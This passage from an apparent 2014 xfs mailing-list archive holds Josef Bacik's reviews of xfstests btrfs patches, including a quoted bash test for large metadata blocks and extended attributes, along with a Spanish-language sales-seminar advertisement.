(192.168.57.29) by mail.thefacebook.com (192.168.16.19) with Microsoft SMTP Server (TLS) id 14.3.174.1; Mon, 10 Feb 2014 11:18:05 -0800 Message-ID: <52F925EA.20600@fb.com> Date: Mon, 10 Feb 2014 14:18:02 -0500 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Wang Shilong , CC: , Wang Shilong Subject: Re: [PATCH] xfstests: btrfs/004: fix to make test really work References: <1392034256-2412-1-git-send-email-wangshilong1991@gmail.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: btrfs/004: fix to make test really work In-Reply-To: <1392034256-2412-1-git-send-email-wangshilong1991@gmail.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Spam-Reason: safe X-FB-Internal: Safe X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-02-10_04:2014-02-10,2014-02-09,1970-01-01 signatures=0 X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1392059899 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/10/2014 07:10 AM, Wang Shilong wrote: > From: Wang Shilong > > So i was wandering why test 004 could pass my previous wrong > kernel patch while it defenitely should not. > > By some debugging, i found here perl script is wrong, we did not > filter out anything and this unit test did not work acutally.so > it came out we will never fail this test. > So now with this patch I'm failing it, is there some btrfs patch I need to make it not fail or is it still not supposed to fail normally and is this patch broken? Thanks, Josef From prvs=7118991643=jbacik@fb.com Mon Feb 10 13:54:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6A7497F3F for ; Mon, 10 Feb 2014 13:54:07 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2846430406A for ; Mon, 10 Feb 2014 11:54:07 -0800 (PST) X-ASG-Debug-ID: 1392062045-04bdf0121f269d70001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0a-00082601.pphosted.com [67.231.145.42]) by cuda.sgi.com with ESMTP id JIakABqYATEmwZ0h for ; Mon, 10 Feb 2014 11:54:06 -0800 (PST) X-Barracuda-Envelope-From: prvs=7118991643=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.145.42 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] Received: from pps.filterd (m0044010 [127.0.0.1]) by mx0a-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s1AJj9Wf005864; Mon, 10 Feb 2014 11:54:04 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=ysE/Ku5Q8/s4gUkIkuFPdzRBJEVhTVdfpM53V3XP++Y=; b=UL6FbRmdFPGDYwZvr+EI6GACP/KIDcoGDBjEXDVxZZAwgkmNxDyFgn0F1v7TIFYoi6mA gilF/SVlLxt+IEQ4LWbtipnIoWs+hL4mAw7yuT2CJZeoXq473I63dkooBQsDFgdCFv80 AHANcQwRPGfyxSA2wQiEHNw/dMIoBIGtv+k= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0a-00082601.pphosted.com with ESMTP id 1hxakg4a3k-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Mon, 10 Feb 2014 11:54:03 -0800 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.13) with Microsoft SMTP Server (TLS) id 14.3.174.1; Mon, 10 Feb 2014 11:54:00 -0800 Message-ID: <52F92E58.3060908@fb.com> Date: Mon, 10 Feb 2014 14:54:00 -0500 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Koen De Wit , CC: Subject: Re: [PATCH v2] xfstests: Btrfs: add test for large metadata blocks References: <1391848230-26761-1-git-send-email-koen.de.wit@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: Btrfs: add test for large metadata blocks In-Reply-To: <1391848230-26761-1-git-send-email-koen.de.wit@oracle.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-02-10_04:2014-02-10,2014-02-09,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=2.81856093575783e-07 kscore.compositescore=0 circleOfTrustscore=222.879571347525 compositescore=0.999738115633958 urlsuspect_oldscore=0.999738115633958 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=64355 rbsscore=0.999738115633958 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1402100116 X-FB-Internal: deliver X-Barracuda-Connect: mx0a-00082601.pphosted.com[67.231.145.42] X-Barracuda-Start-Time: 1392062046 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/08/2014 03:30 AM, Koen De Wit wrote: > Tests Btrfs filesystems with all possible metadata block sizes, by > setting large extended attributes on files. > > Signed-off-by: Koen De Wit > --- > > v1->v2: > - Fix indentation: 8 spaces instead of 4 > - Move _scratch_unmount to end of loop, add _check_scratch_fs > - Sending failure messages of mkfs.btrfs to output instead of > $seqres.full > > diff --git a/tests/btrfs/036 b/tests/btrfs/036 > new file mode 100644 > index 0000000..b14697d > --- /dev/null > +++ b/tests/btrfs/036 > @@ -0,0 +1,137 @@ > +#! /bin/bash > +# FS QA Test No. 036 > +# > +# Tests large metadata blocks in btrfs, which allows large extended > +# attributes. > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +status=1 # failure is the default! > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > + > +_supported_fs btrfs > +_supported_os Linux > +_require_scratch > +_need_to_be_root > + > +rm -f $seqres.full > + > +pagesize=`$here/src/feature -s` > +pagesize_kb=`expr $pagesize / 1024` > + > +# Test all valid leafsizes > +for leafsize in `seq $pagesize_kb $pagesize_kb 64`; do > + _scratch_mkfs -l ${leafsize}K >/dev/null > + _scratch_mount > + # Calculate the size of the extended attribute value, leaving > + # 512 bytes for other metadata. > + xattr_size=`expr $leafsize \* 1024 - 512` > + > + touch $SCRATCH_MNT/emptyfile > + # smallfile will be inlined, bigfile not. > + $XFS_IO_PROG -f -c "pwrite 0 100" $SCRATCH_MNT/smallfile \ > + >/dev/null > + $XFS_IO_PROG -f -c "pwrite 0 9000" $SCRATCH_MNT/bigfile \ > + >/dev/null > + ln -s $SCRATCH_MNT/bigfile $SCRATCH_MNT/bigfile_softlink > + > + files=(emptyfile smallfile bigfile bigfile_softlink) > + chars=(a b c d) > + for i in `seq 0 1 3`; do > + char=${chars[$i]} > + file=$SCRATCH_MNT/${files[$i]} > + lnkfile=${file}_hardlink > + ln $file $lnkfile > + xattr_value=`head -c $xattr_size < /dev/zero \ > + | tr '\0' $char` > + > + set_md5=`echo -n "$xattr_value" | md5sum` > + ${ATTR_PROG} -Lq -s attr_$char -V $xattr_value $file > + get_md5=`${ATTR_PROG} -Lq -g attr_$char $file | md5sum` > + get_ln_md5=`${ATTR_PROG} -Lq -g attr_$char $lnkfile \ > + | md5sum` > + > + # Using md5sums for comparison instead of the values > + # themselves because bash command lines cannot be larger > + # than 64K chars. > + if [ "$set_md5" != "$get_md5" ]; then > + echo -n "Got unexpected xattr value for " > + echo -n "attr_$char from file ${file}. " > + echo "(leafsize is ${leafsize}K)" > + fi > + if [ "$set_md5" != "$get_ln_md5" ]; then > + echo -n "Value for attr_$char differs for " > + echo -n "$file and ${lnkfile}. " > + echo "(leafsize is ${leafsize}K)" > + fi > + done > + > + # Test attributes with a size larger than the leafsize. > + # Should result in an error. > + if [ "$leafsize" -lt "64" ]; then > + # Bash command lines cannot be larger than 64K > + # characters, so we do not test attribute values > + # with a size >64KB. > + xattr_size=`expr $leafsize \* 1024 + 512` > + xattr_value=`head -c $xattr_size < /dev/zero | tr '\0' x` > + ${ATTR_PROG} -q -s attr_toobig -V $xattr_value \ > + $SCRATCH_MNT/emptyfile >> $seqres.full 2>&1 > + if [ "$?" -eq "0" ]; then > + echo -n "Expected error, xattr_size is bigger " > + echo "than ${leafsize}K" > + fi > + fi > + > + _scratch_unmount >/dev/null 2>&1 > + _check_scratch_fs > +done > + > +_scratch_mount > + > +# Illegal attribute name (more than 256 characters) > +attr_name=`head -c 260 < /dev/zero | tr '\0' n` > +${ATTR_PROG} -s $attr_name -V attribute_name_too_big \ > + $SCRATCH_MNT/emptyfile 2>&1 | head -n 1 > + > +_scratch_unmount > + > +_filter_size_numbers() { > + sed "s/$pagesize/PAGESIZE/g" | sed "s/$1/LEAFSIZE/g" > +} > + > +# Some illegal leafsizes > +_scratch_mkfs -l 0 2>&1 | _filter_size_numbers 0 > +_scratch_mkfs -l 5678 2>&1 | _filter_size_numbers 5678 > +lsize=`expr $pagesize / 2 + $pagesize` > +_scratch_mkfs -l $lsize 2>&1 | _filter_size_numbers $lsize > +_scratch_mkfs -l 128K 2>&1 | _filter_size_numbers 131072 > +_scratch_mkfs -l K This fails if I have MKFS_OPTIONS="-O skinny-metadata" because the output from turning on skinny metadata is showing up. Thanks, Josef From ccipbolivia@gmail.com Mon Feb 10 13:54:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.5 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO, HTML_MESSAGE,SUBJ_ALL_CAPS,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C61DC7F3F for ; Mon, 10 Feb 2014 13:54:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6B53F30406A for ; Mon, 10 Feb 2014 11:54:23 -0800 (PST) X-ASG-Debug-ID: 1392062060-04bdf0734cb5c00001-w1Z2WR Received: from mail-vc0-f194.google.com (mail-vc0-f194.google.com [209.85.220.194]) by cuda.sgi.com with ESMTP id a30haVqIlfjNlVUW (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 10 Feb 2014 11:54:21 -0800 (PST) X-Barracuda-Envelope-From: ccipbolivia@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.220.194 X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.194] Received: by mail-vc0-f194.google.com with SMTP id hu8so1371234vcb.1 for ; Mon, 10 Feb 2014 11:54:20 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.194] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:date:message-id:subject:from:to:content-type; bh=CKsJt82fkBpi3tvnq7UCYIUk2CgxlFxOqD1669z8TC4=; b=HQIfvEVVL4tmDsYeX9cHw4MVTGCGKIppiOL2cioh2Z0k1QWNQHHZ+uhdt+nhORrIrH BBrVpAkeajogN2verC67yLW5MZPaVhG1y1mTY/H16Us4Q0CWPaq/cp6cxN+oZACzksHT b8pSvNKP2tfmE9U1PejzvJbBJZZPd6wJevgX4Bn/2Dg4KYe5XkyiK7U24n9eVuqSQyOh Qhw1EwgjTRbhkQYxp6AFuccGxFe61S2WXExFmU6rRHhNiL8UEC4tE8u6zvy6qij17afu lBM2bCEPh1ZVickTUCW0cetZsRDv2htzeyf8Mbsj5srnIXlY6UOEYPMxL0IhpGch5xVs W+DQ== MIME-Version: 1.0 X-Received: by 10.220.159.4 with SMTP id h4mr25481634vcx.1.1392062060557; Mon, 10 Feb 2014 11:54:20 -0800 (PST) Received: by 10.221.31.193 with HTTP; Mon, 10 Feb 2014 11:54:20 -0800 (PST) Reply-To: deccip@gmail.com Date: Mon, 10 Feb 2014 17:54:20 -0200 Message-ID: Subject: =?ISO-8859-1?Q?SEMINARIO_=22DIRECCI=D3N_Y_ADMINISTRACI=D3N_DE_VENTAS?= =?ISO-8859-1?Q?=22?= From: ccip bolivia X-ASG-Orig-Subj: =?ISO-8859-1?Q?SEMINARIO_=22DIRECCI=D3N_Y_ADMINISTRACI=D3N_DE_VENTAS?= =?ISO-8859-1?Q?=22?= To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=001a11c2ca0ca004bc04f212b4c4 X-Barracuda-Connect: mail-vc0-f194.google.com[209.85.220.194] X-Barracuda-Start-Time: 1392062061 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.64 X-Barracuda-Spam-Status: No, SCORE=1.64 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145002 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.62 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 --001a11c2ca0ca004bc04f212b4c4 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable CCIP *Centro De Capacitaci=F3n Integral Profesional* TIENE EL AGRADO DE INVITAR AL: SEMINARIO "DIRECCI=D3N Y ADMINISTRACI=D3N DE VENTAS" Fortalecer las habilidades de liderazgo permanente es en la actualidad una necesidad recurrente en la din=E1mica empresarial. A la direcci=F3n y administraci=F3n de ventas - entendida como un proceso q= ue conduce a la ejecuci=F3n de los planes para transformarlos en resultados - = le corresponde difundir y hacer realidad las estrategias adoptadas por la empresa, desarrollando la habilidad para responder en cada momento con flexibilidad, creatividad y eficiencia. La efectividad s=F3lo se hace posible si los dirigidos son capaces de percibir el significado de su aporte a la organizaci=F3n y su contribuci=F3= n a las metas globales. El manejo de informaci=F3n, el an=E1lisis de problemas, el empowerment, la comunicaci=F3n efectiva, la innovaci=F3n y el reconocimiento dan forma al estilo de direcci=F3n de ventas que aspiran a desarrollar las empresas modernas. Objetivo: Presentar una visi=F3n sistem=E1tica del rol directivo en ventas, relacion=E1ndolo con los requerimientos de competitividad, motivaci=F3n, flexibilidad e innovaci=F3n que impone un medio en el que el cambio es permanente. Dirigido a: Personas que realicen funciones comerciales directivas o que aspiran a hacerlo en un futuro inmediato, ejecutivos y supervisores de venta. CONTENIDO PROGRAMATICO: * LAS VENTAS HOY * ENFOQUES ADMINISTRATIVOS * =BFES IMPORTANTE EL CLIENTE? * PROCESO DE LA COMPRA Y VENTA * T=C9CNICAS DE RELACIONAMIENTO CON EL CLIENTE * ORGANIZACI=D3N Y ESTRUCTURAS DEL EQUIPO DE VENTAS * AN=C1LISIS OPORTUNIDADES DEL MERCADO * AN=C1LISIS DE LAS VENTAS * RESPONSABILIDAD DE LA PROFESI=D3N DE VENTAS * EL SERVICIO Y LAS VENTAS * EL DESEMPE=D1O DEL VENDEDOR * COMPENSACI=D3N E INCENTIVOS * PROCEDIMIENTO PARA DISE=D1O PROGRAMA DE COMPENSACI=D3N *COCHABAMBA* *CAMARA DE COMERCIO* Fecha: 13 y 14 de Marzo Horario: 19:00 a 22:00 *TARIJA* *Gran Hotel Tarija* Fecha: 10 y 11 de Marzo Horario: 19:00 a 22:00 COSTO: Bs. 250.- Hasta el 28 de febrero Bs. 300 hasta el d=EDa del evento Precios especiales a grupos de 3 o m=E1s participantes DEPOSITO PARA LA INSCRIPCION: Banco Los Andes Pro Credit. Cta. En bs. N=BA 3001-01-205806-1 INFORMES Y RESERVAS: TELEFONOS: 70643311-79511480 CONFIRMAR A: deccip@gmail.com El importe Incluye refrigerios, material did=E1ctico y diploma acreditativo --001a11c2ca0ca004bc04f212b4c4 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

CCIP Centro De= Capacitaci=F3n Integral Profesional

TIENE EL AGRADO DE INVITAR AL:

SEMINARIO “DIRECCI=D3N Y ADMINISTRACI=D3N DE VENTAS”

Fortalecer las habilidades de liderazgo permanente es en la actualidad una necesidad recurrente en la din=E1mica empresarial.

A la direcci=F3n y administraci=F3n de ventas - entendida como un proceso que co= nduce a la ejecuci=F3n de los planes para transformarlos en resultados – le c= orresponde difundir y hacer realidad las estrategias adoptadas por la empresa, desarrollando la habilidad para responder en cada momento con flexibilidad, creatividad y eficiencia.

La efectividad s=F3lo se hace posible si los dirigidos son capaces de percibir= el significado de su aporte a la organizaci=F3n y su contribuci=F3n a las meta= s globales.

El manejo de informaci=F3n, el an=E1lisis de problemas, el empowerment, la comunicaci=F3n efectiva, la innovaci=F3n y el reconocimiento dan forma al e= stilo de direcci=F3n de ventas que aspiran a desarrollar las empresas modernas.

 

Objetivo: Presentar una visi=F3n sistem=E1tica del rol directivo en ventas, relacion= =E1ndolo con los requerimientos de competitividad, motivaci=F3n, flexibilidad e inno= vaci=F3n que impone un medio en el que el cambio es permanente.

 

Dirigido a: Personas que realicen funciones comerciales directivas o que aspiran a h= acerlo en un futuro inmediato, ejecutivos y supervisores de venta.

CONTENIDO PROGRAMATICO:

•    &nbs= p;      LAS VENTAS HOY

•    &nbs= p;      ENFOQUES ADMINISTRATIVOS

•    &nbs= p;      =BFES IMPORTANTE EL CLIENTE?

•    &nbs= p;      PROCESO DE LA COMPRA Y VENTA

•    &nbs= p;      T=C9CNICAS DE RELACIONAMIENTO CON EL CLIENTE

•    &nbs= p;      ORGANIZACI=D3N Y ESTRUCTURAS DEL EQUIPO DE VENTAS

•    &nbs= p;      AN=C1LISIS OPORTUNIDADES DEL MERCADO

•    &nbs= p;      AN=C1LISIS DE LAS VENTAS

•    &nbs= p;      RESPONSABILIDAD DE LA PROFESI=D3N DE VENTAS

•    &nbs= p;      EL SERVICIO Y LAS VENTAS

•    &nbs= p;      EL DESEMPE=D1O DEL VENDEDOR

•    &nbs= p;      COMPENSACI=D3N E INCENTIVOS

•    &nbs= p;      PROCEDIMIENTO PARA DISE=D1O PROGRAMA DE COMPENSACI=D3N

 

COCHABAMBA

CAMARA DE COMERCIO

Fecha: 13 y 14 de Marzo

Horario: 19:00 a 22:00

 

 

TARIJA

Gran Hotel Tarija

Fecha: 10 y 11 de Marzo

Horario: 19:00 a 22:00

 

COSTO: Bs. 250.- Hasta el 28 de febrero

Bs. 300 hasta el d=EDa del evento

Precios especiales a grupos de 3 o m=E1s participantes

DEPOSITO PARA LA INSCRIPCION: Banco Los Andes Pro Credit.

Cta. En bs. N=BA 3001-01-205806-1

 INFORMES Y RESERVAS: TELEFON= OS: 70643311–79511480

CONFIRMAR  A:  &nbs= p;  deccip@gmail.com

El importe Incluye refrigerios, material did=E1ctico y diploma acreditativo

 

--001a11c2ca0ca004bc04f212b4c4-- From prvs=7118991643=jbacik@fb.com Mon Feb 10 15:30:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2DE0D7F3F for ; Mon, 10 Feb 2014 15:30:45 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 042A88F8037 for ; Mon, 10 Feb 2014 13:30:44 -0800 (PST) X-ASG-Debug-ID: 1392067840-04bdf0121d26c930001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id ioGBHgTUFRN5DZbe for ; Mon, 10 Feb 2014 13:30:40 -0800 (PST) X-Barracuda-Envelope-From: prvs=7118991643=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004003 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s1ALTKM5027848; Mon, 10 Feb 2014 13:30:38 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=MVYxi46u6mm+FcEV+YhvJ3SSznyZNE6DVDJ3IOAzfm4=; b=rlPeySybb2Y29Mi8Hq/DES5YXoKH8DZS4Ec49PvjkF0IfMsc2TIryEl5Hiwk9ymAkcg2 26mizEGc4xwcwvsEr8RR2004QxhdcdIWZpw+vrdydkhDrLyd3FKHitpSfE+4msZIj7KD C3kDBKrbSI7dtZlWx7rGGxH5lA+CyIFMPM0= Received: from mail.thefacebook.com (prn1-cmdf-dc01-fw1-nat.corp.tfbnw.net [173.252.71.129] (may be forged)) by mx0b-00082601.pphosted.com with ESMTP id 1hy69g83ut-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Mon, 10 Feb 2014 13:30:38 -0800 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.19) with Microsoft SMTP Server (TLS) id 14.3.174.1; Mon, 10 Feb 2014 13:30:35 -0800 Message-ID: <52F944F9.7080500@fb.com> Date: Mon, 10 Feb 2014 16:30:33 -0500 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Wang Shilong , CC: , Subject: Re: [PATCH v4] xfstests/btrfs: add a regression test for running snapshot and send concurrently References: <1391781656-9469-1-git-send-email-wangshilong1991@gmail.com> X-ASG-Orig-Subj: Re: [PATCH v4] xfstests/btrfs: add a regression test for running snapshot and send concurrently In-Reply-To: <1391781656-9469-1-git-send-email-wangshilong1991@gmail.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Spam-Reason: safe X-FB-Internal: Safe X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-02-10_04:2014-02-10,2014-02-10,1970-01-01 signatures=0 X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1392067840 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/07/2014 09:00 AM, Wang Shilong wrote: > From: Wang Shilong > > Btrfs would fail to send if snapshot run concurrently, this test is to make > sure we have fixed the bug. > > Looks reasonable, ran it with and without the patch and it did as expected. Reviewed-by: Josef Bacik Thanks, Josef From prvs=7118991643=jbacik@fb.com Mon Feb 10 15:33:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 625E97F3F for ; Mon, 10 Feb 2014 15:33:01 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 37F70304048 for ; Mon, 10 Feb 2014 13:32:58 -0800 (PST) X-ASG-Debug-ID: 1392067976-04bdf0121f26ca40001-NocioJ Received: from mx0b-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id 7K8KCALa1lzbOSVq for ; Mon, 10 Feb 2014 13:32:56 -0800 (PST) X-Barracuda-Envelope-From: prvs=7118991643=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004077 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s1ALJF6i021398; Mon, 10 Feb 2014 13:32:55 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=5BBQDiDsiP+XX0uzNTLXsMpIeVP7+9Sx7WYGhe7BauI=; b=KUpprHAgZCKr+a6xwBKYKzPQ+bt2cg05TcyweMeX10nD0gpeJ1tIJfUKu+w0V/cKd5nt 3687D8PIuNkUCGrEaDWRqkx0qaUbvXUeiDvhUCjDCFSdJXNRNLxijyEyNGzXLi5fsgr6 3N/1tqx5cMD9p2u5xj9WXhP8GOLibGbCLdw= Received: from mail.thefacebook.com (prn1-cmdf-dc01-fw1-nat.corp.tfbnw.net [173.252.71.129] (may be forged)) by mx0b-00082601.pphosted.com with ESMTP id 1hxv1tabtc-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Mon, 10 Feb 2014 13:32:54 -0800 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.20) with Microsoft SMTP Server (TLS) id 14.3.174.1; Mon, 10 Feb 2014 13:32:52 -0800 Message-ID: <52F94582.6040703@fb.com> Date: Mon, 10 Feb 2014 16:32:50 -0500 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Filipe David Borba Manana , CC: , Subject: Re: [PATCH] xfstests: add test for btrfs data corruption when using compression References: <1391874609-19721-1-git-send-email-fdmanana@gmail.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: add test for btrfs data corruption when using compression In-Reply-To: <1391874609-19721-1-git-send-email-fdmanana@gmail.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Spam-Reason: safe X-FB-Internal: Safe X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-02-10_04:2014-02-10,2014-02-10,1970-01-01 signatures=0 X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1392067976 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/08/2014 10:50 AM, Filipe David Borba Manana wrote: > Test for a btrfs data corruption when using compressed files/extents. > Under certain cases, it was possible for reads to return random data > (content from a previously used page) instead of zeroes. This also > caused partial updates to those regions that were supposed to be filled > with zeroes to save random (and invalid) data into the file extents. > > This is fixed by the 